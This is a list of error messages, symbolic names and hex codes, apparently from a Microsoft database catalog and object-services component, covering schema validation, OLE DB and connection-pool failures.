Error: GenerateKeyMem failed for Member: %1 in Class: %2. SCODE: %3 | MSCOP_E_GenerateKeyMemFailureInMemDefValidation | 0xCA3A8047L
Error: Failed while validating generated Key Mem Def, pos: %1, Key: %2, Member: %3::%4, SCODE: %4 | MSCOP_E_GeneratedKeyMemValidationFailure | 0xCA3A802AL
Error: Failed while validating generated Cls Def, Mem: %1::%2, hr: %3 | MSCOP_E_GeneratedMVClsDefValidationFailure | 0xCA3A802CL
Error: Failed adding MemDef object to Catalog _memDefsByClsIDAndMemName list: %1, Object name: %2, SCODE: %3 | MSCOP_E_GeneratedMVValMemDefMapAddFailure | 0xCA3A802EL
Error: Failed while validating new MV Value Member. name: %1::%1, SCODE: %3 | MSCOP_E_GeneratedMVValMemDefValidationFailure | 0xCA3A802DL
GetColumnInfo failed, hr = %1 | MSCOP_E_GetColumnInfoFailed | 0xCA478050L
Unable to get Global Connection pool. | MSCOP_E_GetConnPoolFailed | 0xCA47800CL
CDeleteHelper1Col::GetCustomData, Column Type doesn't match column type (DBTYPE=%1, Expecting DBTYPE_VARIANT) | MSCOP_E_GetCustomDataColumnTypeMismatch | 0xCA34806BL
GetData failed, hr = %1 | MSCOP_E_GetDataFailed | 0xCA47804FL
Can't get IOpenRowset in table: %1 | MSCOP_E_GetIOpenRowsetFailedForTable | 0xCA478021L
GetNextRows failed, hr = %1 | MSCOP_E_GetNextRowsFailed | 0xCA47804EL
GetSchemaRowset failed, hr = %1 | MSCOP_E_GetSchemaRowsetFailed | 0xCA478058L
HStmt::Free failed. SCODE: %1 | MSCOP_E_HStmtFreeFailure | 0xCA478028L
HStmt in use | MSCOP_E_HStmtInUse | 0xCA478052L
IDBInitialize failed, hr = %1 | MSCOP_E_IDBInitializeFailed | 0xCA47803CL
Error: Class ID column name lookup error while processing multi value Member Value table, Table name: %1, SCODE: %2 | MSCOP_E_IdentityColumnLookupErrorInCValTblInfoValidation | 0xCA3A8054L
Error: Invalid Identity Column Member. Member name: %1, Identity Column flag not set. SCODE: %2 | MSCOP_E_IdentityColumnNotSetOnMemberInCValTblInfoValidation | 0xCA3A8053L
Index not created | MSCOP_E_IndexNotCreated | 0xCA418024L
InitDBIDsFromColNames(), mismatched named column count, cnt: %1, col: %2 | MSCOP_E_InitDBIDsFromColNamesMismatch | 0xCA478020L
InsertRow failed, hr = %1 | MSCOP_E_InsertRowFailed | 0xCA478055L
Error: Instance ID column lookup error while processing multi value Member Link table. Table name: %1, Instance ID Colum name: %2, SCODE: %3 | MSCOP_E_InstanceIDColLookupFailureInCLinkTblInfoValidation | 0xCA3A8062L
Error: Class name: "%1" contains invalid characters | MSCOP_E_InvalidCharsInClassNameInClsDefValidation | 0xCA3A8090L
Member name: "%1" contains invalid characters | MSCOP_E_InvalidCharsInMemberName | 0xCA3A8031L
Error: Invalid Value Table definition object, Table name: %1, Class ID Column name: %2, Member ID Column name: %3 | MSCOP_E_InvalidClassIDAndMemberInCValTblInfoValidation | 0xCA3A804EL
Error: Invalid Class Attribute definition object: Class name: %1, Attribute name: %2, Attribute Type: %3 | MSCOP_E_InvalidClsAttribInClsAttribValidation | 0xCA3A80EFL
Error: Invalid Column definition object: Column name: %1, Table name: %2, Type name: %3 | MSCOP_E_InvalidColDefInColDefValidation | 0xCA3A806AL
Invalid HResult in AllocStmt | MSCOP_E_InvalidHRInAllocStmt | 0xCA47805DL
Error: Invalid Index definition object: Internal Index name: %1, Physical Index name: %2, Class name: %3 | MSCOP_E_InvalidIndexDefInIndexValidation | 0xCA3A80C5L
Error: Parents in M-M Relations can only have one key with one member. Relation name: %1, Parent Class: %2 | MSCOP_E_InvalidKeyInMMRelInRelDefValidation | 0xCA3A80DCL
Error: Invalid Key Member structure found processing Relation name: %1, Parent Class name: %2, Status: %3 | MSCOP_E_InvalidKeyMemListInCreateMem | 0xCA3A80C8L
Error: Invalid Member Attribute definition object:, Class name: %1, Member name: %2, Attribute name: %3, Attribute Type: %4 | MSCOP_E_InvalidMemAttribInMemAttribValidation | 0xCA3A80F7L
Error: Invalid Member object. Member name: %1, Class name: %2, Type name: %3 | MSCOP_E_InvalidMemDefObject | 0xCA3A802FL
Error: Invalid Relation definition object: Relation name: %1, Parent Class name: %2, Child Class name: %3 | MSCOP_E_InvalidRelDefInRelDefValidation | 0xCA3A80D4L
Error: Invalid Relation Member definition object: Relation name: %1, Parent Class Member name: %2, Child Class Member name: %3 | MSCOP_E_InvalidRelMemDefInRelMemDefValidation | 0xCA3A80E2L
Error: Invalid RelMemDef reference mapping. Parent MemDef: %1, Child MemDef: %2 | MSCOP_E_InvalidRelMemMappingInRelMemDefValidation | 0xCA3A80E7L
Error: Invalid Source Attribute definition object: Source name: %1, Attribute name: %2, Attribute Type: %3 | MSCOP_E_InvalidSrcAttribInSrcAttribValidation | 0xCA3A80F3L
Error: Invalid TypeDef object: Type Name: %1 | MSCOP_E_InvalidTypeDefObject | 0xCA3A8023L
Error: Type %1 not supported for multi value member %2. Types restricted to those supported by VB script. | MSCOP_E_InvalidTypeForMultiValueMember | 0xCA3A8110L
Error: Invalid View Member definition object: Member name: %1, View name: %2 | MSCOP_E_InvalidViewMemInViewMemValidation | 0xCA3A80FCL
Cannot update a member that's designated a JoinKey (Member: '%1', URL: '%2'). | MSCOP_E_JoinKeyInUpdateSetClause | 0xCA2D808AL
Error: Class %1 is not a dimension, but has a non-zero KeyCacheInstanceCount <%2> | MSCOP_E_KeyCacheForFact | 0xCA3A810AL
Error: Could not swap Primary ClsKeyDef into array slot 0 for Class: %1, SCODE: %2 | MSCOP_E_KeyDefSwapFailedInKeyDefValidationDetails | 0xCA3A80C4L
Error: Member used in two different keys. Not supported. Member name: %1, Class name: %2 | MSCOP_E_KeyMemInMultipleKeysInKeyMemDefValidation | 0xCA3A80B4L
Error: Link Table Info lookup failure. Link Table name: %1, SCODE: %2 | MSCOP_E_LinkTblInfoLookupFailureInCLinkTblInfoValidation | 0xCA3A805FL
LookupPriviligeValue failed for %1 | MSCOP_E_LookupPriviligeValueFailure | 0xCA448032L
Error: Multi value member marked as Primary Key. Not supported. Member name: %1. | MSCOP_E_MVMemberMarkedAsPrimaryKey | 0xCA348104L
 | MSCOP_E_MVQueryNotSupported |
Error: Catalog Major Version mismatch. Version in Catalog name:%1: %2, Version supported by code: %3 | MSCOP_E_MajorVersionMismatch | 0xCA3A8109L
MapUserPhysicalPages failed during map. HRESULT: %1 | MSCOP_E_MapUserPhysicalPagesFailure | 0xCA44802CL
MapUserPhysicalPages failed during unmap. HRESULT: %1 | MSCOP_E_MapUserPhysicalPagesUnmapFailure | 0xCA44802FL
Error: MemDef lookup error while processing Member Attribute Def. Class name: %1, Member name: %2, Attribute name: %3, SCODE: %4 | MSCOP_E_MemDefLookupErrorInMemAttribValidation | 0xCA3A80FAL
Error: Member lookup error while processing Relation. Relation name: %1, Member name: %2, SCODE: %3 | MSCOP_E_MemDefLookupErrorInRelMemDefValidation | 0xCA3A80E5L
Error: Member lookup error while processing Class Key Member. Class Key name: %1, Key Member name: %2, SCODE: %3 | MSCOP_E_MemDefLookupFailureInKeyMemDefValidation | 0xCA3A80B1L
Error: Member ID col name lookup error while processing multi value Member Value table, Table name: %1, SCODE: %2 | MSCOP_E_MemberIDColumnLookupErrorInCValTblInfoValidation | 0xCA3A8055L
Error: Member lookup error while processing multi value Member Value table. Table name: %1, Member name: %2, SCODE: %3 | MSCOP_E_MemberLookupErrorInCValTblInfoValidation | 0xCA3A8052L
Type mismatch between Parent and Child Members with the same name. Parent Class %1, Child Class %2, Member name: %3, Relation Name: %4 | MSCOP_E_MemberTypeMismatchInCreateMem | 0xCA3A80C9L
Mismatched entries found in the CProcessingClass CreateNewIDs. hr: %1 | MSCOP_E_MismatchedNewIds | 0xCA1A8030L
Missing key member in the class definition - %1 | MSCOP_E_MissingKeyMember | 0xCA41800EL
Missing partition for the CreateClassView class: %1 | MSCOP_E_MissingPartitionDefInCreateClassView | 0xCA418028L
MoreResults failed, hr = %1 | MSCOP_E_MoreResultsFailed | 0xCA47804CL
Error: Member name %1 has Indentity flag, but Class %2 already has Identity Member - name:%3, SCODE: %4 | MSCOP_E_MultipleIdentityColsInMemDefValidation | 0xCA3A803CL
Invalid connection string - explictly turned NTAuth OFF and no password specified. | MSCOP_E_NTAuthOffWithoutPassword | 0xCA47805CL
Invalid connection string - explictly turned NTAuth OFF and no UserID specified. | MSCOP_E_NTAuthOffWithoutUserID | 0xCA47805BL
Error: NULL Aggregation Definition Table name in Catalog object. Catalog name:%1, SCODE: %2 | MSCOP_E_NULLAggDefTableName | 0xCA3A8016L
Error: NULL Catalog pointer in LinkTblInfo object. Link Table name: %1 | MSCOP_E_NULLCatalogInCLinkTblInfoValidation | 0xCA3A805EL
Error: NULL Catalog pointer in ValTblInfo object, Table name: %1 | MSCOP_E_NULLCatalogInCValTblInfoValidation | 0xCA3A804FL
Error: Invalid Class Attribute definition object: NULL Catalog pointer. Attrib Member name: %1 | MSCOP_E_NULLCatalogInClsAttribValidation | 0xCA3A80F0L
Error: NULL Catalog pointer in ClsDef object: Class name: %1 | MSCOP_E_NULLCatalogInClsDefValidation | 0xCA3A808FL
Error: NULL Catalog pointer in ColDef object: Column name: %1 | MSCOP_E_NULLCatalogInColDefValidation | 0xCA3A806BL
Error: Invalid Index Member. NULL Catalog in Index Member name: %1 | MSCOP_E_NULLCatalogInIndexMemValidation | 0xCA3A80EDL
Error: NULL Catalog pointer in IndexDef object: Index name: %1 | MSCOP_E_NULLCatalogInIndexValidation | 0xCA3A80C6L
Error: Invalid Class Key definition object: NULL Catalog: ClsKeyDef name: %1 | MSCOP_E_NULLCatalogInKeyDefValidation | 0xCA3A80BCL
Error: NULL Catalog pointer in PKeyMem object: Key name: %1, Key Member name: %2 | MSCOP_E_NULLCatalogInKeyMemDefValidation | 0xCA3A80AFL
Error: Invalid Member Attribute definition object: NULL Catalog pointer, Attrib Member name: %1 | MSCOP_E_NULLCatalogInMemAttribValidation | 0xCA3A80F8L
Error: NULL Catalog pointer in MemDef object. Member name: %1 | MSCOP_E_NULLCatalogInMemDefObject | 0xCA3A8030L
Error: Invalid Partition definition object: NULL Catalog. Partition name: %1 | MSCOP_E_NULLCatalogInPartitionDefValidation | 0xCA3A809AL
Error: NULL Catalog pointer in PartitionPolicyDef object, Partition name: %1 | MSCOP_E_NULLCatalogInPartitionPolicyDefValidation | 0xCA3A80A4L
Error: Invalid Relation definition object. NULL Catalog pointer in RelDef object: Relation name: %1 | MSCOP_E_NULLCatalogInRelDefValidation | 0xCA3A80DAL
Error: Invalid Relation Member definition object: NULL Catalog pointer, Relation name: %1, Member name: %2 | MSCOP_E_NULLCatalogInRelMemDefValidation | 0xCA3A80E3L
Error: NULL Catalog pointer in SourceDef object: NULL Catalog. Source name: %1 | MSCOP_E_NULLCatalogInSourceDefValidation | 0xCA3A80A8L
Error: Invalid Source Attribute definition object: NULL Catalog pointer, Attrib Member name: %1 | MSCOP_E_NULLCatalogInSrcAttribValidation | 0xCA3A80F4L
Error: NULL Catalog pointer in TblDef object. Table name: %1 | MSCOP_E_NULLCatalogInTblDefValidation | 0xCA3A8073L
Error: NULL Catalog pointer in ViewDef object. View name: %1 | MSCOP_E_NULLCatalogInViewDefValidation | 0xCA3A807AL
Error: Invalid View Member definition object: NULL Catalog pointer, View Member name: %1 | MSCOP_E_NULLCatalogInViewMemValidation | 0xCA3A80FDL
Error: NULL Catalog name. SCODE: %1 | MSCOP_E_NULLCatalogName | 0xCA3A8001L
Error: NULL Catalog pointer in TypeDef object. Type name: %1 | MSCOP_E_NULLCatalogPointerInTypeDefObject | 0xCA3A8024L
Error: Invalid Class definition object. NULL Class name | MSCOP_E_NULLClassNameInClsDefValidation | 0xCA3A808EL
Error: Invalid Class Key definition object: NULL Class name: Key name: %1 | MSCOP_E_NULLClassNameInKeyDefValidation | 0xCA3A80BAL
Error: Invalid View definition object. NULL Class name. View name: %1 | MSCOP_E_NULLClassNameInViewDefValidation | 0xCA3A8079L
Error: NULL Class Attribute Table name in Catalog object. Catalog name:%1, SCODE: %2 | MSCOP_E_NULLClsAttrTableName | 0xCA3A8019L
Error: NULL Class Definition Table name in Catalog object. Catalog name:%1, SCODE: %2 | MSCOP_E_NULLClsDefTableName | 0xCA3A8006L
Error: NULL Class Key Definition Table name in Catalog object. Catalog name:%1, SCODE: %2 | MSCOP_E_NULLClsKeyDefTableName | 0xCA3A800DL
NULL CMbColDef* passed to CSchemaMgr::AddColumn | MSCOP_E_NULLColDefInADDColumn | 0xCA418014L
NULL CMbColDef* passed to CSchemaMgr::DeleteColumn | MSCOP_E_NULLColDefInDeleteColumn | 0xCA418017L
Error: NULL Column Definition Table name in Catalog object. Catalog name:%1, SCODE: %2 | MSCOP_E_NULLColDefTableName | 0xCA3A800CL
Error: NULL Column info pointer in MemDef. Member name: %1 | MSCOP_E_NULLColInfoInMemDefValidation | 0xCA3A8037L
Invalid Member definition object Member name: %1, Class name: %2, Column name is NULL | MSCOP_E_NULLColNameInMemDefValidation | 0xCA3A8039L
Error: NULL Column Name Prefix in Catalog object. Catalog name:%1, SCODE: %2 | MSCOP_E_NULLColNamePrefix | 0xCA3A8020L
Error: Invalid Source definition object: NULL Connection String. Source name: %1 | MSCOP_E_NULLConnStringInSourceDefValidation | 0xCA3A80A7L
NULL DB Properties found. | MSCOP_E_NULLDBProps | 0xCA478014L
Error: Class Key Def with this name already exists in the Catalog. ClsKeyDef name: %1 | MSCOP_E_NULLDuplicateClsKeyDefInKeyDefValidation | 0xCA3A80BBL
Error: NULL Group Definition Table name in Catalog object. Catalog name:%1, SCODE: %2 | MSCOP_E_NULLGroupDefTableName | 0xCA3A8008L
Error: NULL Group info pointer in MemDef name: %1 | MSCOP_E_NULLGroupInfoInMemDefValidation | 0xCA3A803AL
NULL HStmt* passed to CSchemaMgr::AddColumn | MSCOP_E_NULLHStmtInAddColumn | 0xCA418012L
NULL HStmt* passed to CSchemaMgr::DeleteColumn | MSCOP_E_NULLHStmtInDeleteColumn | 0xCA418015L
Error: NULL Catalog History Table name in Catalog object. Catalog name:%1, SCODE: %2 | MSCOP_E_NULLHistoryTableName | 0xCA3A8003L
NULL IRowsetFastLoad in Commit | MSCOP_E_NULLIRowsetFastLoadInCommit | 0xCA478044L
NULL IRowsetFastLoad in InsertRow | MSCOP_E_NULLIRowsetFastLoadInInsertRow | 0xCA478054L
Error: NULL Column info pointer in Identity MemDef name: %1, Class name: %2 | MSCOP_E_NULLIdentityColInfoInMemDefValidation | 0xCA3A803DL
Error: NULL Identity Counter Table name in Catalog object. Catalog name:%1, SCODE: %2 | MSCOP_E_NULLIdentityCounterTableName | 0xCA3A8013L
Error: NULL Index Definition Table name in Catalog object. Catalog name:%1, SCODE: %2 | MSCOP_E_NULLIndexDefTableName | 0xCA3A800FL
Error: NULL Index Member Definition Table name in Catalog object. Catalog name:%1, SCODE: %2 | MSCOP_E_NULLIndexMemDefTableName | 0xCA3A8010L
Error: Invalid Index Member. NULL Index Member name. | MSCOP_E_NULLIndexMemNameInIndexMemValidation | 0xCA3A80ECL
Error: Invalid Link Table definition object. NULL Instance ID Column name, Link Table name: %1 | MSCOP_E_NULLInstanceIDColumnNameInCLinkTblInfoValidation | 0xCA3A805BL
Error: Invalid Class Key Member definition object: NULL Key name, Key Member name: %1 | MSCOP_E_NULLKeyDefInKeyMemDefValidation | 0xCA3A80ADL
Error: NULL Key Member Definition Table name in Catalog object. Catalog name:%1, SCODE: %2 | MSCOP_E_NULLKeyMemDefTableName | 0xCA3A800EL
Error: Invalid Class Key definition object: NULL Key name: Class name: %1 | MSCOP_E_NULLKeyNameInKeyDefValidation | 0xCA3A80B9L
Error: Invalid Link Table definition object. NULL Link Table name | MSCOP_E_NULLLinkTableNameInCLinkTblInfoValidation | 0xCA3A8059L
Error: NULL Link Table Info Table name in Catalog object. Catalog name:%1, SCODE: %2 | MSCOP_E_NULLLinkTblInfoTableName | 0xCA3A8017L
Error: NULL Member Definition Table name in Catalog object. Catalog name:%1, SCODE: %2 | MSCOP_E_NULLMemDefTableName | 0xCA3A8007L
Error: NULL Member Name Prefix in Catalog object. Catalog name:%1, SCODE: %2 | MSCOP_E_NULLMemNamePrefix | 0xCA3A801FL
Error: Invalid Link Table definition object, Link Table name: %1, Class ID Column name: %2, Member ID Column is NULL | MSCOP_E_NULLMemberIDColumnNameInCLinkTblInfoValidation | 0xCA3A805DL
Error: Invalid Class Key Member definition object: NULL Key Member name, Key name %1 | MSCOP_E_NULLMemberInKeyMemDefValidation | 0xCA3A80AEL
Error: NULL multi value info pointer in MemDef name: %1, Class name: %2 | MSCOP_E_NULLMultiInfoInMemDefValidation | 0xCA3A803EL
Error: NULL Other Default Attribute Table name in Catalog object. Catalog name:%1, SCODE: %2 | MSCOP_E_NULLOtherAttrTableName | 0xCA3A801CL
Error: NULL Partition Def found in Column lookup while processing Member. Member name: %1, Class name: %2, Column name: %3, SCODE: %4 | MSCOP_E_NULLPartDefInMemDefValidation | 0xCA3A8038L
Error: Invalid Partition Policy definition object: NULL Partition Policy name | MSCOP_E_NULLPartPolicyNameInPartitionPolicyDefValidation | 0xCA3A80A3L
NULL CPartitionDef* passed to CSchemaMgr::AddColumn | MSCOP_E_NULLPartitionDefInADDColumn | 0xCA418013L
NULL PartitionDef found in CreateSearchIndexes for Class: %1 | MSCOP_E_NULLPartitionDefInCreateSearchIndexes | 0xCA418026L
NULL CPartitionDef* passed to CSchemaMgr::DeleteColumn | MSCOP_E_NULLPartitionDefInDeleteColumn | 0xCA418016L
Error: NULL Partition Definition Table name in Catalog object. Catalog name:%1, SCODE: %2 | MSCOP_E_NULLPartitionDefTableName | 0xCA3A8011L
Error: Invalid Link Table definition object. NULL Partition name, Link Table name: %1 | MSCOP_E_NULLPartitionNameInCLinkTblInfoValidation | 0xCA3A805AL
Error: Invalid Value Table definition object, NULL Partition name. Value Table name: %1 | MSCOP_E_NULLPartitionNameInCValTblInfoValidation | 0xCA3A804CL
Error: Invalid Partition definition object: NULL Partition name | MSCOP_E_NULLPartitionNameInPartitionDefValidation | 0xCA3A8097L
Error: NULL Partition Policy Definition Table name in Catalog object. Catalog name:%1, SCODE: %2 | MSCOP_E_NULLPartitionPolicyDefTableName | 0xCA3A8012L
NULL Properties pointer in HDbc::Connect | MSCOP_E_NULLPropertiesInHDbcConnect | 0xCA47801DL
Error: NULL Reference Prefix in Catalog object. Catalog name:%1, SCODE: %2 | MSCOP_E_NULLReferencePrefix | 0xCA3A801EL
Error: NULL Relation Attribute Table name in Catalog object. Catalog name:%1, SCODE: %2 | MSCOP_E_NULLRelAttrTableName | 0xCA3A801BL
Error: NULL Relation Definition Table name in Catalog object. Catalog name:%1, SCODE: %2 | MSCOP_E_NULLRelDefTableName | 0xCA3A8009L
Error: NULL Relation Member Definition Table name in Catalog object. Catalog name:%1, SCODE: %2 | MSCOP_E_NULLRelMemDefTableName | 0xCA3A800AL
Error: NULL Scope Prefix in Catalog object. Catalog name:%1, SCODE: %2 | MSCOP_E_NULLScopePrefix | 0xCA3A8021L
Error: Required Source name not defined for this class, Class name: %1 | MSCOP_E_NULLSourceDefInClsDefValidation | 0xCA3A8092L
Error: NULL Source Definition Table name in Catalog object. Catalog name:%1, SCODE: %2 | MSCOP_E_NULLSourceDefTableName | 0xCA3A8004L
Error: Invalid Partition definition object: NULL Source name. Partition name: %1 | MSCOP_E_NULLSourceNameInPartitionDefValidation | 0xCA3A8098L
Error: Invalid Source definition object: NULL Source name | MSCOP_E_NULLSourceNameInSourceDefValidation | 0xCA3A80A6L
Error: NULL String Table name in Catalog object. Catalog name:%1, SCODE: %2 | MSCOP_E_NULLStringTableName | 0xCA3A8002L
Error: NULL Synthesized Relation Definition Prefix in Catalog object. Catalog name:%1, SCODE: %2 | MSCOP_E_NULLSynthRelDefPrefix | 0xCA3A801DL
Error: Invalid Value Table definition object, NULL Value Table name. | MSCOP_E_NULLTableNameInCValTblInfoValidation | 0xCA3A804BL
Error: Invalid Partition definition object: NULL Table name. Partition name: %1 | MSCOP_E_NULLTableNameInPartitionDefValidation | 0xCA3A8099L
Error: Invalid Table definition object: NULL Table name | MSCOP_E_NULLTableNameInTblDefValidation | 0xCA3A8072L
Error: NULL Table Definition Table name in Catalog object. Catalog name:%1, SCODE: %2 | MSCOP_E_NULLTblDefTableName | 0xCA3A800BL
Error: NULL Type Definition Table name in Catalog object. Catalog name:%1, SCODE: %2 | MSCOP_E_NULLTypeDefTableName | 0xCA3A8005L
Error: Invalid Value Table definition object, NULL ValID Column name. Value Table name: %1 | MSCOP_E_NULLValIDColumnNameInCValTblInfoValidation | 0xCA3A804DL
Error: NULL Value Table Info Table name in Catalog object. Catalog name:%1, SCODE: %2 | MSCOP_E_NULLValTblInfoTableName | 0xCA3A8018L
Error: Invalid Link Table definition object. NULL Value ID Column name, Link Table name: %1 | MSCOP_E_NULLValueIDColumnNameInCLinkTblInfoValidation | 0xCA3A805CL
Member: %1 in Class: %2 has flag IsNullAllowed == false but no default value | MSCOP_E_NULLValueNotAllowedButNoDefaultValueInMemDefValidation | 0xCA3A804AL
Error: NULL View Definition Table name in Catalog object. Catalog name:%1, SCODE: %2 | MSCOP_E_NULLViewDefTableName | 0xCA3A8014L
Error: NULL View Member Definition Table name in Catalog object. Catalog name:%1, SCODE: %2 | MSCOP_E_NULLViewMemDefTableName | 0xCA3A8015L
Error: Invalid View definition object. NULL View name | MSCOP_E_NULLViewNameInViewDefValidation | 0xCA3A8078L
There is no column definition for a persisted member of this class. | MSCOP_E_NoColDefForPersistentMem | 0xCA418001L
No Column Definitions for multi value Table creation. Table name: %1 | MSCOP_E_NoColDefsForMultiVal | 0xCA418007L
Error: No default Key for Class name: %1 | MSCOP_E_NoDefaultKeyForClassInRelDefValidation | 0xCA3A80D6L
Error: Key Member %1 does not have a valid default value: %2. Class name: %3 | MSCOP_E_NoDefaultValueForKeyMemDefInKeyMemDefValidation | 0xCA3A80B3L
Requested an ICommand connection, but this pool was not initialized with any. SCODE: %1 | MSCOP_E_NoICommandConnections | 0xCA478025L
Error: Default link info generation is not supported for classes with no identity member: %1::%2 | MSCOP_E_NoIDNoDefaultLink | 0xCA3A8029L
Requested an IRowsetFastLoad connection, but this pool was not initialized with any. SCODE: %1 | MSCOP_E_NoIRowsetFastLoadConnections | 0xCA478024L
There is a no identity column definition in the table definition. | MSCOP_E_NoIdentityCol | 0xCA418002L
Error: Source name must be given to generate default partitions for classes, class: %1 | MSCOP_E_NoSourceNamedInGeneratePartitionDef | 0xCA3A808AL
A NULL-value key column is not valid ('%1') | MSCOP_E_NullKeyColumn | 0xCA248010L
CopyBStrs, out of memory error in creating SAFEARRAY | MSCOP_E_OOMInCopyBStrs | 0xCA348067L
Data for a multivalue member was not passed as DBTYPE_VARIANT or with VT_ARRAY VT_VECTOR or'ed in. Member: %1 | MSCOP_E_ObjChgsAddMVPropValNotMV | 0xCA1A802CL
AddPropVal(), unknown type %1 | MSCOP_E_ObjChgsAddPropValUnknownType | 0xCA1A802AL
Error converting DB type %1 to DB type %2 (hr=0x%3) | MSCOP_E_ObjChgsConversionError | 0xCA1A8027L
Error initializing conversion from DB type %1 to DB type %2 (hr=0x%3) | MSCOP_E_ObjChgsConversionInitializationError | 0xCA1A8026L
Conversion from DBtype %1 to %2 not supported | MSCOP_E_ObjChgsConversionNotSupported | 0xCA1A8028L
FillFixedDstMVVecConvert2: Could not convert from Source DBTYPE %1 to Dest DBTYPE %2 | MSCOP_E_ObjChgsFillFixedDstMVVecConvert2Err | 0xCA1A8001L
FillVarDstMVVecConvert(), Cannot allocate temporary buffer of %1 bytes | MSCOP_E_ObjChgsFillVarDstMVVecConvertBufAlocFailed | 0xCA1A802BL
ProcessVector(BSTR): Could not convert from Source DBTYPE %1 to Dest DBTYPE %2 | MSCOP_E_ObjChgsProcessVectorBSTRConvertErr | 0xCA1A8003L
ProcessVector(WSTR): Could not convert from Source DBTYPE %1 to Dest DBTYPE %2 | MSCOP_E_ObjChgsProcessVectorWSTRConvertErr | 0xCA1A8002L
Instance data (%1 bytes) exceeds SQL row limit (%2 bytes). Instance cannot be saved. | MSCOP_E_ObjChgsRowSQLLimitExceeded | 0xCA1A8025L
Failed converting time | MSCOP_E_ObjChgsTimeConversionFailed | 0xCA1A8029L
Failed flushing the aggregation buffer | MSCOP_E_ObjSvcsAggBufferFlushFailure | 0xCA1D8022L
ProcessObjChgs(), Failure in attempting to flush aggregation buffer | MSCOP_E_ObjSvcsAggFlushFailure | 0xCA1D8011L
ProcessObjChgs(), Failure in aggregation of an ObjChanges instance, SCODE: %1 | MSCOP_E_ObjSvcsAggInstanceProcessingFailure | 0xCA1D8012L
Failed writing the binary class instance into file | MSCOP_E_ObjSvcsBinaryClassInstanceWriteFailure | 0xCA1D8019L
Open binary log file failed, file: %1 | MSCOP_E_ObjSvcsBinaryFileOpenFailure | 0xCA1D801EL
Cannot set file pointer in the binary log file: %1 | MSCOP_E_ObjSvcsBinaryFilePointerSetFailure | 0xCA1D801DL
Failed writing the binary package file header into file | MSCOP_E_ObjSvcsBinaryPackageHeaderWriteFailure | 0xCA1D8018L
Failed writing the binary package into file | MSCOP_E_ObjSvcsBinaryPackageWriteFailure | 0xCA1D8017L
Failed writing the unique type into file | MSCOP_E_ObjSvcsBinaryUniqueDataWriteFailure | 0xCA1D801AL
Failure in attempt to obtain class instance buffers from respective buffer pools (allocsize=%1) | MSCOP_E_ObjSvcsClassInstanceBufferFailure | 0xCA1D800DL
Failure to allocate client object manager class instance info array from virtual buffer, SCODE: %1 | MSCOP_E_ObjSvcsClientObjectManagerClassInstanceInfoAllocationErr | 0xCA1D8004L
Failure to allocate client object manager class instance multi-val virtual buffer pointer array from virtual buffer, SCODE: %1 | MSCOP_E_ObjSvcsClientObjectManagerClassInstanceMVVirtualBufferAllocationErr | 0xCA1D8006L
Failure to allocate client object manager class instance virtual buffer pointer array from virtual buffer, SCODE: %1 | MSCOP_E_ObjSvcsClientObjectManagerClassInstanceVirtualBufferAllocationErr | 0xCA1D8005L
Failure to allocate collection, %1, hash/storage from virtual buffer, SCODE: %2 | MSCOP_E_ObjSvcsCollectionAllocationErr | 0xCA1D8002L
Failure to initialize collection, %1, hash/storage, SCODE: %2 | MSCOP_E_ObjSvcsCollectionInitializationErr | 0xCA1D8003L
Failure to allocate client object manager compacted class instance info array from virtual buffer, SCODE: %1 | MSCOP_E_ObjSvcsCompactedClassInstanceAllocationFailure | 0xCA1D8013L
Failure in Client Object Services CreateObj operation, SCODE: %1 | MSCOP_E_ObjSvcsCreateObjFailure | 0xCA1D800EL
Failure to allocate pool of DataProcessState items, SCODE: %1 | MSCOP_E_ObjSvcsDataProcessStateAllocationFailure | 0xCA1D800AL
Failed creating the virtual buffer for dumping | MSCOP_E_ObjSvcsDumpBufferCreationFailure | 0xCA1D8016L
ProcessObjChgs(), Failure in attempting to flush client object manager processed class instances | MSCOP_E_ObjSvcsFlushFailure | 0xCA1D800FL
ProcessObjChgs(), Failure in processing of an ObjChanges instance, SCODE: %1 | MSCOP_E_ObjSvcsInstanceProcessingFailure | 0xCA1D8010L
Invalid class ID argument, SCODE: %1 | MSCOP_E_ObjSvcsInvalidClassID | 0xCA1D800CL
NULL CMbCatalog pointer passed to CObjServices::Init | MSCOP_E_ObjSvcsNULLCMbCatalogPointerInInit | 0xCA1D8008L
NULL ConnObjSvcs pointer passed to CObjServices::Init | MSCOP_E_ObjSvcsNULLConnObjSvcsPointerInInit | 0xCA1D8007L
Could not create the OLEDB Conversion library (%1) | MSCOP_E_ObjSvcsOLEDBConversionLibraryCreationFailure | 0xCA1D8009L
Open log file failed, file: %1 | MSCOP_E_ObjSvcsOpenLogFileFailure | 0xCA1D800BL
Failure to allocate client object manager class instances virtual buffer, SCODE: %1 | MSCOP_E_ObjSvcsOutOfMemory | 0xCA1D8001L
Failed dumping the package into file | MSCOP_E_ObjSvcsPackageDumpFailure | 0xCA1D801CL
Failed writing the package file header into file | MSCOP_E_ObjSvcsPackageFileHeaderWriteFailure | 0xCA1D8021L
PackageManager not initialized | MSCOP_E_ObjSvcsPackageManagerNotInitialized | 0xCA1D801FL
Failed writing the package into file | MSCOP_E_ObjSvcsPackageWriteFailure | 0xCA1D8020L
ParseLevelDirs() failure. status=%1 | MSCOP_E_ObjSvcsParseLevelDirsFailure | 0xCA1D8024L
Error creating new UriData data. Status=%1 | MSCOP_E_ObjSvcsURIDataAllocationFailure | 0xCA1D8023L
Failure to extract %1 information from instance of %2 hash/storage, SCODE: %3 | MSCOP_E_ObjSvcsUniqueDataExtractionFailure | 0xCA1D8015L
Failed writing the unique type offset size into file | MSCOP_E_ObjSvcsUniqueDataTypeOffsetWriteFailure | 0xCA1D801BL
Failure to allocate array of %1 from virtual buffer, SCODE: %2 | MSCOP_E_ObjSvcsUniqueDataVirturalBufferAllocationFailure | 0xCA1D8014L
Error: Relation name: %1 specifies a One to One Relation. This Relation type is not implemented. | MSCOP_E_OneToOneRelDefInRelDefValidation | 0xCA3A80D8L
Open process token failed | MSCOP_E_OpenProcessTokenFailure | 0xCA448031L
OpenRowset failed, hr = %1 | MSCOP_E_OpenRowsetFailed | 0xCA478056L
Error: Insufficient memory to allocate read data structures. View name: %1 | MSCOP_E_OutOfMemoryInViewDefValidation | 0xCA3A807FL
Not enough memory for Page Frame Number array | MSCOP_E_PFNOutOfMemory | 0xCA44802BL
Failed to initialize parameter accessor, hr = %1 | MSCOP_E_ParameterAccessorInitializationFailed | 0xCA478041L
Expecting class/view name. Class/view name %1 not found. | MSCOP_E_ParseClassOrViewNameNotFound | 0xCA14802DL
ParseExpr(), expecting logical operatior, url: %1 | MSCOP_E_ParseExprExpectedLogicalOperator | 0xCA148037L
